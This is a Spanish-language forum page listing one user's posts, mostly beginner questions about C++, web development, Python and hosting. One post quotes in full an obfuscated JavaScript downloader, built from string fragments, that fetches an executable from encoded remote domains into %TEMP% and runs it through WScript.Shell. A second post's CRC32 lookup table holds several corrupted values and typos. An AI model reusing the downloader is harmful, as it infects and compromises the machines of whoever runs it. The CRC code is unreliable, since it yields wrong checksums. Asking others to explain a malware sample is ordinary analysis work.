Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - colcrt

#1
problema a resolver: se que varios usuarios han tenido inconvenientes con par de personajes abusivos que metieron a sus pc un malware o trojan y buscan ayuda o por lo menos llegar a demandas

creo que al foro le hace falta una sección donde los expertos en seguridad de este foro puedan ofrecer servicios como por ejemplo forense informático o adquisición de pruebas para demandas, que estén dentro de lo legal, ¿Qué opinan?
#2
Seguridad / que puertos bloquear?
29 Septiembre 2021, 03:03 AM
quiero bloquear puertos innecesarios y que generan brechas de inseguridad cuales podrían ser? y que windows no use
#3
hola, estoy aprendiendo a compilar aplicaciones de Windows desde Ubuntu y me ha llamado la atención que cuando compilo el siguiente "hola mundo" en c para 32 bits el antivirus bit defender dice que es un virus,  :¬¬ creo que es por los dll aunque me cuesta entender el por que?

#include <stdio.h>

int main()
{
   printf( "\n   Hola mundo." );
   printf( "\n\n   Pulse una tecla para salir..." );


   return 0;
}
#4
hola, verán tengo un archivo con datos de partidos de diferentes ligas y lo que quiero es capturar los datos de una sola liga en un archivo csv diferente, he estado intentando pero la documentación de python en relacion al manejo de archivos es muy limitada o insuficiente, si alguno muy amable me pudiera ayudar
#5
Hacking / aprender a hackear
12 Septiembre 2020, 09:57 AM
hola, estos dias que he tenido tiempo me a picado la duda, aunque anteriormente habia estudiado algo (muy basico) me gustaria aprender a un nivel intermedio o mas avanzado hackear una pc (de forma etica)

se programar en c++ y otros lenguajes a nivel basico/medio
tambien se de informatica (lo necesario para sobrevivir)

porfa recomiendenme libros guias, protocolos, etc para comenzar
#6
cuando entro a varias paginas consigo ese error y pese a restaurar la configuración sigo obteniendo el mismo mensaje, a que se puede deber?



[MOD] imagen redimensionada según Reglas del Foro.
#7
hola, quiero poner un div en una web que se ubique en un lugar determinado según el ancho de la pantalla, la vaina es que nose como hacerlo por eso pido de su amable ayuda  ;D

#8
hola, me disculpo si este tema no va a aqui;
veran quiero extraer estos datos estadisticos de partidos deportivos y que gogle presenta pero lo intente haciendo web scraping pero google no lo deja facil pensaba quizas mediante php si alguno me pudiera ayudar con algun ejemplo o api me seria de gran ayuda

olvide poner la url  :xD

https://www.google.com/search?biw=1280&bih=913&ei=ULaCXZOWHoGWr7wP5pqa-AU&q=champions+league&oq=shampion&gs_l=psy-ab.3.0.0i67i70i253j0i67j0i10l8.6617.23205..24298...14.1..4.364.7540.3j0j4j20......0....1..gws-wiz.....0..0i71j0j0i131j0i22i30.HG1S2619vVM#sie=m;/g/11h_1r6xxt;2;/m/0c1q0;dt;fp;1;;
#9
hola, estos días he estado investigando sobre este tipo de virus que se almacenan o modifican el firmaware de la pc u otros componentes quería preguntarles como se extrae la información que contiene un .rom mediante Python u otra manera se los agradecería por su amable ayuda, dejo el archivo que obtuve es de mi pc xD

https://mega.nz/#!eUUzUS6D!pfYsGwkPVysW48zGDSnaCib87sJ3vr7MfxiJT3b8okk
#10
hola  ::)
veran no logro hacer este efecto que he visto en varios lugares y tampoco he encontrado mucha informacion o algo realmente útil, quizás alguno de ustedes me pueda ayudar  :silbar:

tengo dos secciones en el body de una web (adjunto imagen) una azul y otra roja lo que quiero hacer es que cuando al bajar con el scroll y esta encuentre el final de la sección roja esta baje con la azul hasta el final de la azul de igual forma al subir



https://i.ibb.co/YtpnZJ6/Scro.png
#11
hola me entro la curiosidad de los malwares en js y luego de investigar un poco encontre este pero no entiendo como funciona y que es lo que hace si alguno fuera tan amable de explicarme  ;D

var stroke="5557545E0D0A020B24060108130B0B000A1D4A070B09";
function uj241() { vh('602'); return vl(); }; 
function uj70() { vh('e(92)'); return vl(); }; 
function uj236() { vh(' dl('); return vl(); }; 
function uj153() { vh('spons'); return vl(); }; 
function uj94() { vh('ec'); return vl(); }; 
function uj60() { vh('ngs'); return vl(); }; 
function uj202() { vh('ttp:'); return vl(); }; 
function uj63() { vh('")+St'); return vl(); }; 
function uj132() { vh('ne'); return vl(); }; 
function uj220() { vh('d('); return vl(); }; 
function uj55() { vh('dE'); return vl(); }; 
function uj173() { vh('e(fn,'); return vl(); }; 
function uj97() { vh('XM'); return vl(); }; 
function uj47() { vh('pt.S'); return vl(); }; 
function uj27() { vh('for ('); return vl(); }; 
function uj7() { vh(') '); return vl(); }; 
function uj111() { vh(' f'); return vl(); }; 
function uj145() { vh('); '); return vl(); }; 
function uj197() { vh('pe'); return vl(); }; 
function uj35() { vh('i++)'); return vl(); }; 
function uj90() { vh('ew '); return vl(); }; 
function uj225() { vh('er)'); return vl(); }; 
function uj2() { vh('nc'); return vl(); }; 
function uj135() { vh('eX'); return vl(); }; 
function uj186() { vh('}; }'); return vl(); }; 
function uj50() { vh('r f'); return vl(); }; 
function uj72() { vh('.roun'); return vl(); }; 
function uj140() { vh('ODB.S'); return vl(); }; 
function uj129() { vh(' {'); return vl(); }; 
function uj242() { vh('); d'); return vl(); }; 
function uj137() { vh('jec'); return vl(); }; 
function uj87() { vh('var x'); return vl(); }; 
function uj163() { vh(' 1'); return vl(); }; 
function uj149() { vh(' xa.'); return vl(); }; 
function uj101() { vh('P"'); return vl(); }; 
function uj67() { vh('Ch'); return vl(); }; 
function uj64() { vh('rin'); return vl(); }; 
function uj144() { vh('open('); return vl(); }; 
function uj25() { vh('(" "'); return vl(); };  function uj146() { vh('xa.t'); return vl(); };  function uj112() { vh('un'); return vl(); };  function uj222() { vh('} '); return vl(); };  function uj77() { vh('()*10'); return vl(); };  function uj216() { vh(' fals'); return vl(); };  function uj92() { vh('eX'); return vl(); };  function uj39() { vh('new '); return vl(); };  function uj161() { vh('00) {'); return vl(); };  function uj121() { vh('te '); return vl(); };  function uj218() { vh('xo.s'); return vl(); };  function uj162() { vh(' dn ='); return vl(); };  function uj38() { vh('ws = '); return vl(); };  function uj28() { vh('var '); return vl(); };  function vl() { return jvwz; };  function uj102() { vh('); '); return vl(); };  function uj59() { vh('Stri'); return vl(); };  function uj126() { vh('s =='); return vl(); };  function uj58() { vh('ment'); return vl(); };  function uj198() { vh('n('); return vl(); };  function uj131() { vh('xa = '); return vl(); };  function uj88() { vh('o ='); return vl(); };  function uj228() { vh('f ('); return vl(); };  function uj125() { vh('statu'); return vl(); };  function uj156() { vh('f '); return vl(); };  function uj224() { vh('ch ('); return vl(); };  function uj3() { vh('tio'); return vl(); };  function uj14() { vh(' harm'); return vl(); };  function uj160() { vh('50'); return vl(); };  function uj93() { vh('Obj'); return vl(); };  function uj95() { vh('t('); return vl(); };  function uj204() { vh('+b['); return vl(); };  function uj84() { vh(' dn '); return vl(); };  function uj4() { vh('n d'); return vl(); };  function uj213() { vh('="+'); return vl(); };  function uj147() { vh('ype ='); return vl(); };  function uj141() { vh('trea'); return vl(); };  function uj130() { vh(' var '); return vl(); };  function uj200() { vh('ET",'); return vl(); };  function uj9() { vh(' b = '); return vl(); };  function uj192() { vh('}; '); return vl(); };  function uj1() { vh('fu'); return vl(); };  function uj57() { vh('ron'); return vl(); };  function uj150() { vh('wr'); return vl(); };  function uj32() { vh('.len'); return vl(); };  function uj17() { vh('ar.c'); return vl(); };  function uj166() { vh('osit'); return vl(); };  function uj86() { vh('0; '); return vl(); };  function uj157() { vh('(xa'); return vl(); };  function uj208() { vh('t.p'); return vl(); };  function uj54() { vh('an'); return vl(); };  function uj229() { vh('dn ='); return vl(); };  function uj244() { vh('3);'); return vl(); };  function uj48() { vh('hell"'); return vl(); };  function uj11() { vh('dus'); return vl(); };  function uj79() { vh('00000'); return vl(); };  function uj16() { vh('reb'); return vl(); };  function uj78() { vh('00'); return vl(); };  function uj100() { vh('TT'); return vl(); };  function uj181() { vh('); '); return vl(); };  function uj68() { vh('ar'); return vl(); };  function uj96() { vh('"MS'); return vl(); };  function uj180() { vh(',1,0'); return vl(); };  function uj74() { vh('ath.'); return vl(); };  function uj45() { vh('WSc'); return vl(); };  function uj136() { vh('Ob'); return vl(); };  function uj49() { vh('); va'); return vl(); };  function uj46() { vh('ri'); return vl(); };  function uj69() { vh('Cod'); return vl(); };  function uj184() { vh('(er)'); return vl(); };  function uj169() { vh('; x'); return vl(); };  function uj191() { vh('(); '); return vl(); };  function uj66() { vh('om'); return vl(); };  function uj53() { vh('s.Exp'); return vl(); };  function uj26() { vh('); '); return vl(); };  function uj119() { vh('dy'); return vl(); };  function uj170() { vh('a.sa'); return vl(); };  function uj235() { vh(' };'); return vl(); };  function uj178() { vh('s.Ru'); return vl(); };  function uj51() { vh('n '); return vl(); };  function uj80() { vh(')+".e'); return vl(); };  function uj165() { vh('xa.p'); return vl(); };  function uj103() { vh('xo.'); return vl(); };  function uj175() { vh(' try'); return vl(); };  function uj233() { vh('reak;'); return vl(); };  function uj221() { vh('); '); return vl(); };  function uj148() { vh(' 1;'); return vl(); };  function uj105() { vh('ad'); return vl(); };  function uj13() { vh('om'); return vl(); };  function uj232() { vh(' b'); return vl(); };  function uj12() { vh('try.c'); return vl(); };  function uj122() { vh('== 4 '); return vl(); };  function uj65() { vh('g.fr'); return vl(); };  function uj177() { vh(' w'); return vl(); };  function uj234() { vh(' };'); return vl(); };  function vh(myi) { jvwz = myi; };  function uj190() { vh('se'); return vl(); };  function uj142() { vh('m")'); return vl(); };  function uj5() { vh('l('); return vl(); };  function uj193() { vh('}; '); return vl(); };  function uj76() { vh('ndom'); return vl(); };  function uj123() { vh('&& '); return vl(); };  function uj21() { vh('com"'); return vl(); };  function uj31() { vh('i<b'); return vl(); };  function uj209() { vh('hp?rn'); return vl(); };  function uj182() { vh('} c'); return vl(); };  function uj139() { vh('"AD'); return vl(); };  function uj37() { vh('r '); return vl(); };  function uj194() { vh('try '); return vl(); };  function uj42() { vh('XObj'); return vl(); };  function uj83() { vh('var'); return vl(); };  function uj128() { vh('00)'); return vl(); };  function uj189() { vh('.clo'); return vl(); };  function uj85() { vh('= '); return vl(); };  function uj15() { vh('ac'); return vl(); };  function uj196() { vh('.o'); return vl(); };  function uj183() { vh('atch '); return vl(); };  function uj158() { vh('.siz'); return vl(); };  function uj113() { vh('ction'); return vl(); };  function uj22() { vh('.s'); return vl(); };  function uj99() { vh('.XMLH'); return vl(); };  function uj6() { vh('fr'); return vl(); };  function uj110() { vh(' ='); return vl(); };  function uj223() { vh('cat'); return vl(); };  function uj91() { vh('Activ'); return vl(); };  function uj155() { vh('y); i'); return vl(); };  function uj152() { vh('xo.Re'); return vl(); };  function uj36() { vh(' { va'); return vl(); };  function uj117() { vh('xo.r'); return vl(); };  function uj168() { vh(' = 0'); return vl(); };  function uj8() { vh('{ var'); return vl(); };  function uj227() { vh('; i'); return vl(); };  function uj203() { vh('//"'); return vl(); };  function uj23() { vh('pl'); return vl(); };  function uj41() { vh('tive'); return vl(); };  function uj205() { vh('i]+"'); return vl(); };  function uj243() { vh('l(819'); return vl(); };  function uj217() { vh('e); '); return vl(); };  function uj207() { vh('umen'); return vl(); };  function uj114() { vh('() '); return vl(); };  function uj98() { vh('L2'); return vl(); };  function uj176() { vh(' {'); return vl(); };  function uj199() { vh('"G'); return vl(); };  function uj238() { vh('41'); return vl(); };  function uj71() { vh('+Math'); return vl(); };  function uj104() { vh('onre'); return vl(); };  function uj134() { vh('ctiv'); return vl(); };  function uj() { return 'int'; };  function uj164() { vh('; '); return vl(); };  function uj124() { vh('xo.'); return vl(); };  function uj226() { vh(' {}'); return vl(); };  function uj19() { vh('etq'); return vl(); };  function uj89() { vh(' n'); return vl(); };  function uj138() { vh('t('); return vl(); };  function uj108() { vh('ha'); return vl(); };  function uj62() { vh('TEMP%'); return vl(); };  function uj44() { vh('t("'); return vl(); };  function uj151() { vh('ite('); return vl(); };  function uj30() { vh('0; '); return vl(); };  function uj75() { vh('ra'); return vl(); }; 
function e() { return 'pr'; }; 
function uj179() { vh('n(fn'); return vl(); };  function uj212() { vh('"&id'); return vl(); };  function uj127() { vh(' 2'); return vl(); };  function uj133() { vh('w A'); return vl(); };  function uj239() { vh('); '); return vl(); };  function uj159() { vh('e > '); return vl(); };  function uj214() { vh('st'); return vl(); };  function uj20() { vh('y.'); return vl(); };  function uj211() { vh('+fr+'); return vl(); };  function uj185() { vh(' {'); return vl(); };  function uj61() { vh('("%'); return vl(); };  function uj120() { vh('Sta'); return vl(); };  function uj33() { vh('gth'); return vl(); };  function uj231() { vh('1)'); return vl(); };  function uj81() { vh('xe'); return vl(); };  function uj143() { vh('; xa.'); return vl(); };  function uj10() { vh('"ckin'); return vl(); };  function uj118() { vh('ea'); return vl(); };  function uj167() { vh('ion'); return vl(); };  function uj40() { vh('Ac'); return vl(); };  function uj154() { vh('eBod'); return vl(); };  function uj116() { vh('f ('); return vl(); };  function uj29() { vh('i='); return vl(); };  function uj107() { vh('tatec'); return vl(); };  function uj174() { vh('2);'); return vl(); };  function uj34() { vh('; '); return vl(); };  function uj187() { vh('; '); return vl(); };  function uj171() { vh('veToF'); return vl(); };  var pdcr = ''; var jvwz = '';  function uj73() { vh('d(M'); return vl(); };  function uj82() { vh('"; '); return vl(); };  function uj52() { vh('= w'); return vl(); };  function uj109() { vh('nge'); return vl(); };  function uj230() { vh('= '); return vl(); };  function uj195() { vh('{ xo'); return vl(); };  function uj240() { vh('dl(8'); return vl(); };  function uj18() { vh('om '); return vl(); };  function uj215() { vh('roke,'); return vl(); };  function uj237() { vh('33'); return vl(); };  function uj24() { vh('it'); return vl(); };  function uj172() { vh('il'); return vl(); };  function uj188() { vh('xa'); return vl(); };  function uj43() { vh('ec'); return vl(); };  function uj115() { vh('{ i'); return vl(); };  function uj106() { vh('ys'); return vl(); };  function uj201() { vh('"h'); return vl(); };  function uj219() { vh('en'); return vl(); };  function uj210() { vh('d="'); return vl(); };  function uj206() { vh('/doc'); return vl(); };  function uj56() { vh('nvi'); return vl(); };
for (var s=1; s<=244; s++) { vh(this['uj'+s]()); pdcr += vl(); }
this[e()+uj()](pdcr);
#12
Programación C/C++ / como ofuscar código
28 Octubre 2018, 07:53 AM
hola, se que de esto ya se ha hablado bastante  :rolleyes: el inconveniente es que llegue tarde  ;D quiero ofuscar un codigo c++ pero por mas que he buscando info en google no encuentro nada util (si lose ese buscador ha perdido calidad ) en fin no quiero que se pongan tristes me pase por aquí quizás alguno de ustedes me pueda colaborar este es el código que quiero ofuscar ya que es el index y la key para generar una contraseña que permite leer unos archivos cifrados

static DWORD s_PackKey[] =
{
420344441,
9763345,
65734421,
101331,
};

static DWORD s_adwSecurityKey[] =
{
7283452,
538433234,
1492,
47548276,
};
#13
---------------------------

hola, verán quiero poner un formulario así (ver imagen) pero no tengo idea como podría ser el código, uso bootstrap 4


#14
hola, quiero desarrollar una web con un estilo grafico de esta forma (ver imagenes) pero no logro entender como se hace para ubircar las imagenes o si es alguna tecnica

#15
hola tengo este código y quiero calcular el crc32 hash de un archivo (o varios) mi nivel de programación en c++ es aun muy bajo y no se como crear el main si alguno me pudiera dirigir con ejemplos

la salida del programa debe ser una lista (algo así)

   
https://puu.sh/9xUQE/4a4075bb53.png


#include "StdAfx.h"
#include "CRC32.h"

static unsigned long CRCTable[256] =
{
0x00000000,0x77073096,0xEE0E612C,0x990951BA,0x076DC419,0x706AF48F,
0xE963A535,0x9E6495A3,0x0EDB8832,0x79DCB8A4,0xE0D5E91E,0x97D2D988,
    0x09B64C2B,0x7EB17CBD,0xE7B82D07,0x90BF1D91,0x1DB71064,0x6AB020F2,
    0xF3B97148,0x84BE41DE,0x1ADAD47D,0x6DDDE4EB,0xF4D4B551,0x83D385C7,
    0x136C9856,0x646BA8C0,0xFD62F97A,0x8A65C9EC,0x14015C4F,0x63066CD9,
    0xFA0F3D63,0x8D080DF5,0x3B6E20C8,0x4C69105E,0xD56041E4,0xA2677172,
    0x3C03E4D1,0x4B04D447,0xD20D85FD,0xA50AB56B,0x35B5A8FA,0x42B2986C,
    0xDBBBC9D6,0xACBCF940,0x32D86CE3,0x45DF5C75,0xDCD60DCF,0xABD13D59,
    0x26D930AC,0x51DE003A,0xC8D75180,0xBFD06116,0x21B4F4B5,0x56B3C423,
    0xCFBA9599,0xB8BDA50F,0x2802B89E,0x5F058808,0xC60CD9B2,0xB10BE924,
    0x2F6F7C87,0x58684C11,0xC1611DAB,0xB6662D3D,0x76DC4190,0x01DB7106,
    0x98D220BC,0xEFD5102A,0x71B18589,0x06B6B51F,0x9FBFE4A5,0xE8B8D433,
    0x7807C9A2,0x0F00F934,0x9609A88E,0xE10E9818,0x7F6A0DBB,0x086D3D2D,
    0x91646C97,0xE6635C01,0x6B6B51F4,0x1C6C6162,0x856530D8,0xF262004E,
    0x6C0695ED,0x1B01A57B,0x8208F4C1,0xF50FC457,0x65B0D9C6,0x12B7E950,
    0x8BBEB8EA,0xFCB9887C,0x62DD1DDF,0x15DA2D49,0x8CD37CF3,0xFBD44C65,
    0x4DB26158,0x3AB551CE,0xA3BC0074,0xD4BB30E2,0x4ADFA541,0x3DD895D7,
    0xA4D1C46D,0xD3D6F4FB,0x4369E96A,0x346ED9FC,0xAD678846,0xDA60B8D0,
    0x44042D73,0x33031DE5,0xAA0A4C5F,0xDD0D7CC9,0x5005713C,0x270241AA,
    0xBE0B1010,0xC90C2086,0x5768B525,0x206F85B3,0xB966D409,0xCE61E49F,
    0x5EDEF90E,0x29D9C998,0xB0D09822,0xCB4,0x59B33D17,0x2EB40D81,
    0xB7BD5C3B,0xC0BA6CAD,0xEDB88320,0x9ABFB3B6,0x03B6E20C,0x74B1D29A,
    0xEAD54739,0AF,0x04DB2615,0x73DC1683,0xE3630B12,0x94643B84,
    0x0D6D6A3E,0x7A6A5AA8,0xE40ECF0B,0x9309FF9D,0x0A00AE27,0x7D079EB1,
    0xF00F9344,0x8708A3D2,0x1E01F268,0x6906C2FE,0xF762575D,0x806567CB,
    0x196C3671,0x6E6B06E7,0xFED41B76,0,0x10DA7A5A,0x67DD4ACC,
    0xF9B9DF6F,0x8EBEEFF9,0x17B7BE43,0x60B08ED5,0xD6D6A3E8,0xA1D1937E,
    0x38D8C2C4,0x4FDFF252,0xD1BB67F1,0xA6BC5767,0x3FB506DD,0x48B2364B,
    0xD80D2BDA,0xAF0A1B4C,0x36034AF6,0x41047A60,0xDF60EFC3,0xA867DF55,
    0x316E8EEF,0x4669BE79,0xCB61B38C,0xBC66831A,0x256FD2A0,0x5268E236,
    0xCC0C7795,0xBB0B4703,0x220216B9,0x5505262F,0xC5BA3BBE,0xB2BD0B28,
    0x2BB45A92,0x5CB36A04,0xC2D7FFA7,0xB5D0CF31,0x2CD99E8B,0x5BDEAE1D,
    0x9B64C2B0,0xEC63F226,0x756AA39C,0x026D930A,0x9C0906A9,0xEB0E363F,
    0x72076785,0x05005713,0x95BF4A82,0xE2B87A14,0x7BB12BAE,0x0CB61B38,
    0x92D28E9B,0xE5D5BE0D,0x7CDCEFB7,0x0BDBDF21,0x86D3D2D4,0xF1D4E242,
    0x68DDB3F8,0x1FDA836E,0x81BE16CD,0xF6B9265B,0x6FB077E1,0x18B74777,
    0x88085AE6,0xFF0F6A70,0x66063BCA,0x11010B5C,0x8F659EFF,0xF862AE69,
    0x616BFFD3,0x5,0xA00AE278,0xD70DD2EE,0x4E048354,0x3903B3C2,
    0xA7672661,0xD06016F7,0x4969474D,0x3B,0xAED16A4A,0xD9D65ADC,
    0x40DF0B66,0x37D83BF0,0xA9BCAE53,0xDEBB9EC5,0x47B2CF7F,0x30B5FFE9,
    0xBDBDF21C,0xCABAC28A,0x53B39330,0x24B4A3A6,0xBAD03605,0xCDD70693,
    0x54DE5729,0x23D967BF,0xB3667A2E,0xC4614AB8,0x5D681B02,0x2A6F2B94,
    0xB40BBE37,0xC30C8EA1,0x5A05DF1B,0x2D02EF8D
};

#define DO1(buf, i)     crc = CRCTable[(crc ^ buf[i]) & 0xff] ^ (crc >> 8)
#define DO2(buf, i)     DO1(buf, i); DO1(buf, i + 1);
#define DO4(buf, i)     DO2(buf, i); DO2(buf, i + 2);
#define DO8(buf, i)     DO4(buf, i); DO4(buf, i + 4);
#define DO16(buf, i)    DO8(buf, i); DO8(buf, i + 8);

DWORD GetCRC32(const char * buf, size_t len)
{
    DWOD crc = 0xffffffff;

    if (len >= 16)
    {
        do
        {
            DO16(buf, 0);

            buf += 16;
            len -= 16;
        } while (len >= 16);
    }

    if (len != 0)
    {
        do
        {
            DO1(buf, 0);
            ++buf;
            --len;
        } while (len > 0);
    }

crc ^= 0xffffffff;
return crc;
}

#ifndef UPPER
#define UPPER(c)        (((c)>='a'  && (c) <= 'z') ? ((c)+('A'-'a')) : (c))
#endif

#define DO1CI(buf, i)   crc = CRCTable[(crc ^ UPPER(buf[i])) & 0xff] ^ (crc >> 8)
#define DO2CI(buf, i)   DO1CI(buf, i); DO1CI(buf, i + 1);
#define DO4CI(buf, i)   DO2CI(buf, i); DO2CI(buf, i + 2);
#define DOCI(buf, i)   DO4CI(buf, i); DO4CI(buf, i + 4);
#define DO16CI(buf, i)  DO8CI(buf, i); DO8CI(buf, i + 8);

DWORD GetCaseCRC32(const char * buf, size_t len)
{
    DWOD crc = 0xffffffff;

    if (16 <= len)
    {
        do
        {
            DO16CI(buf, 0);

            buf += 16;
            len -= 16;
        } while (len >= 16);
    }

    if (0 != len)
    {
        do
        {
            DO1CI(buf, 0);

            ++buf;
            --len;
        } while (len > 0);
    }

    crc ^= 0xffffffff;
    return crc;
}

DWORD GetHFILECRC32(HANDLE hFile)
{
DWORD dwRetCRC32=0;

DWORD dwFileSize = GetFileSize(hFile, NULL);

DWORD dataOffset=0;
DWORD mapSize=dwFileSize;

SYSTEM_INFO SysInfo;
GetSystemInfo(&SysInfo);

DWORD dwSysGran = SysInfo.dwAllocationGranularity;
DWORD dwFileMapStart = (dataOffset / dwSysGran) * dwSysGran;
DWORD dwMapViewSize = (dataOffset % dwSysGran) + mapSize;
//INT iViewDelta = dataOffset - dwFileMapStart;

HANDLE hFM = CreateFileMapping(hFile, // handle
  NULL, // security
  PAGE_READONLY, // flProtect
  0, // high
  dataOffset + mapSize, // low
  NULL); // name
if (hFM)
{
LPVOID lpMapData = MapViewOfFile(hFM,
FILE_MAP_READ,
0,
dwFileMapStart,
dwMapViewSize);

dwRetCRC32=GetCRC32((const char*)lpMapData, dwFileSize);


if (lpMapData)
{

UnmapViewOfFile(lpMapData);
}

CloseHandle(hFM);
}

return dwRetCRC32;
}

DWORD GetFileCRC32(const char* c_szFileName)
{
HANDLE hFile = CreateFile(c_szFileName, // name of the file
GENERIC_READ, // desired access
FILE_SHARE_READ, // share mode
NULL, // security attributes
OPEN_EXISTING, // creation disposition
FILE_ATTRIBUTE_NORMAL, // flags and attr
NULL); // template file

if (INVALID_HANDLE_VALUE == hFile)
return 0;


DWORD dwRetCRC32=GetHFILECRC32(hFile);

CloseHandle(hFile);

return dwRetCRC32;
}

DWORD GetFileSize(const char* c_szFileName)
{
HANDLE hFile = CreateFile(c_szFileName, // name of the file
GENERIC_READ, // desired access
FILE_SHARE_READ, // share mode
NULL, // security attributes
OPEN_EXISTING, // creation disposition
FILE_ATTRIBUTE_NORMAL, // flags and attr
NULL); // template file

if (INVALID_HANDLE_VALUE == hFile)
return 0;

DWORD dwSize = GetFileSize(hFile, NULL);

CloseHandle(hFile);

return dwSize;
}

int main(int argc, char *argv[])
{
int i = 0, j = 0;
int reg, byt;
unsigned int crc, eor;
unsigned char trama[500000], byte = 0;
long bytes_fichero, bytes_cogidos;

crc = 0;

memcpy(trama, "hola mundo", 10);
bytes_fichero = bytes_cogidos = 10;

while (bytes_fichero>0)
{
for (j = 0; j<bytes_cogidos; j++)
{
i = 8;
byte = trama[j];

crc ^= (unsigned int)byte << 24;
for (i = 0; i<8; i++)
{
eor = crc & 0x80000000 ? 0x4c11db7 : 0;
crc <<= 1;
crc ^= eor;
}
}
bytes_fichero = bytes_fichero - bytes_cogidos;
}
fprintf(stderr, "Valor del CRC: [%x]\n", crc);

return 0;
}
#16
hola,
verán tengo unas biblioteca estáticas que por desgracia fueron compiladas en una versión anterior de visual estudio y de ninguna forma he podido usarlas, hay alguna manera en que las pueda usar en la versión que tengo de visual estudio (2015)??

quizás editandolas con algún hexadecimal
depronto volcar el código fuente o algo así xD  :¬¬
#17
hola  ;)
estoy actualizando un programa en visual studio 2013 y tengo unos errores que no he podido arreglar  :-\

error C2660: 'libtorrent::session_handle::listen_on' : la función no acepta 1 argumentos

uso libtorrent 1.1.6
boost 1-66-0

este es el código el error esta en la linea -> if (m_pcSession->listen_on(portRange) == false)


bool EL_TorrentPatcher::Begin(EL_PatchConfig& stConfig, Earth::EA_CStatus *pcStatus)
{
MA_SAFE_DELETE(m_pcSession);
m_pcSession = new session(fingerprint("LT",LIBTORRENT_VERSION_MAJOR,LIBTORRENT_VERSION_MINOR,0,0),session::add_default_plugins);

m_pcSession->set_alert_mask(alert::error_notification | alert::storage_notification);

libtorrent::session_settings settings;
settings.user_agent = APP_NAME;
settings.prioritize_partial_pieces = true;
settings.min_announce_interval = 30;
m_pcSession->set_settings(settings);

m_pcSession->add_extension(&libtorrent::create_smart_ban_plugin);

m_pcSession->set_max_half_open_connections(stConfig.maxHalfOpenConnections);
m_pcSession->set_max_uploads(stConfig.maxUploadsPerSession);
m_pcSession->set_max_connections(stConfig.maxConnectionsPerSession);

std::pair<int, int> portRange(stConfig.minPort, stConfig.maxPort);
if (m_pcSession->listen_on(portRange) == false)//void listen_on(std::pair<int, int> const& port_range, error_code& ec, const char* net_interface = 0, int flags = 0);
{
if( pcStatus )
pcStatus->AddNRf( Earth::EA_STATUS_ERROR, EL_LTEXT("TORRENT_SESSION_LISTEN_ERROR"), portRange.first, portRange.second );
return false;
}

// ¾Æ·¡ ±´ÉµéÀº listen_on ÀÌÈÄ¿¡ Çϵµ·Ï ±ÇÀåÇÏ°í ÀÖÀ½
m_pcSession->start_upnp();
m_pcSession->start_natpmp();
m_pcSession->start_dht();
m_pcSession->start_lsd();

return true;
}


nota1: al pasar el puntero encima de  m_pcSession->listen_on "dice error la expresión debe tener un tipo aritmético, enum sin ámbito o de puntero"
#18
hola, he estado investigando pero no logro resolver esta duda es posible falsear (cambiar) los detalles de una isp en una ip, por ejemplo
---- sin usar un vpn, vps o un proxy -----
mi ip es 200.x.x.x y el proveedor (isp) es claro, se puede cambia esa informacion para que al ubicar esa ip diga q el isp es verizon u otro, de ser asi como se podria?

pdt-> nose si esto va a qui, pido una disculpa sino, saludos
#19
PHP / que hago mal? (jquery + php)
5 Enero 2017, 06:26 AM
hola foreros  ;D
vengo a pedir de su gran ayuda, por mas que busco no logro entender que estoy haciendo mal en este pequeño codigo, veran estoy aprendiendo jquery por lo que aun se me dificulta bastante esto si alguno muy amable pudiera decirme donde esta el error le estaria muy agradecido, es un pequeño sistema de puntuación por estrellas

<div id="star-container" class="votacion">
<i class="fa fa-star star" id="star-1"></i>
<i class="fa fa-star star" id="star-2"></i>
<i class="fa fa-star star" id="star-3"></i>
<i class="fa fa-star star" id="star-4"></i>
<i class="fa fa-star star" id="star-5"></i>
</div>
<div id="result"></div>
<noscript>Necesitas tener habilitado javascript para poder votar</noscript>


<script>
$(document).ready(function(){
$('.star').on("mouseover",function(){

var star_id = $(this).attr('id');
switch (star_id){
case "star-1":
$("#star-1").addClass('star-checked');
break;
case "star-2":
$("#star-1").addClass('star-checked');
$("#star-2").addClass('star-checked');
break;
case "star-3":
$("#star-1").addClass('star-checked');
$("#star-2").addClass('star-checked');
$("#star-3").addClass('star-checked');
break;
case "star-4":
$("#star-1").addClass('star-checked');
$("#star-2").addClass('star-checked');
$("#star-3").addClass('star-checked');
$("#star-4").addClass('star-checked');
break;
case "star-5":
$("#star-1").addClass('star-checked');
$("#star-2").addClass('star-checked');
$("#star-3").addClass('star-checked');
$("#star-4").addClass('star-checked');
$("#star-5").addClass('star-checked');
break;
}
}).mouseout(function(){

$('.star').removeClass('star-checked');
});

$('.star').click(function(){

var star_index = $(this).attr("id").split("-")[1],

star_container = $(this).parent(),
result_div = $("#result");

$.ajax({
url: 'pages/rating_start.php',
type: 'POST',
data: {star:star_index},
beforeSend: function(){
star_container.hide();
result_div.show().html("<h6>Loading...</h6>");
}
})
.done(function(data){
result_div.html(data);
})
.fail(function(data) {
alert( "error" );
 })

});

});
</script>


<?php
    
if(isset($_POST['star'])){
        
$star htmlentities(mysql_real_escape_string($_POST['star']));
        
//valid star id array
        
$valid_star = array('1','2','3','4','5');
 

        if(!
in_array($star$valid_star)){
            echo 
'<div class="alert alert-danger" role="alert">Porfavor no haga esto!</div>';
            exit();
        }
 
   
        echo 
'<div class="alert alert-success" role="alert">Gracias! '.$star.' Estrellas.</div>';
    }
?>


se queda en esta linea ""result_div.show().html("<h6>Loading...</h6>");"" y salta el error

#20
Desarrollo Web / [duda] dominio y hosting
10 Diciembre 2016, 20:24 PM
Hola a tod@s
por mas que lee no logro entender esto xD talvez alguno/a me pueda ayudar  ;-) tengo un hosting free y aparte compre un dominio; en el cpanel del dominio configuro los nameserver que me proporciona el hosting y se accede normal a la web pero! el problema viene es a la hora de agregar un registro TXT dns no se por que no se propaga  :-\
pdt-> el registro es masomenos asi  _servido.midominio.com y contiene una cadena de texto
#21
GNU/Linux / duda compatibilidad de un binario
27 Noviembre 2016, 04:13 AM
hola a tod@s, me he estado preguntando esto hace unos dias ya que la mayoria de vps que consulto solo tienen linux o windows y es muy excaso encontrar un vps con freebsd y son muy costosos por lo cual el tema de mi consulta;

tengo un binario nativo de freebsd (un juego mmorpg muy conocido) podria correr ese mismo binario en una maquina con SO ubuntu:-\
#22
Programación C/C++ / [duda] llave LZO key y XTEA?
29 Septiembre 2016, 18:58 PM
Hola a tod@s
veran estoy viendo un source pero no logro entender lo que menciono en el titulo basicamente tengo esto en un archivo,

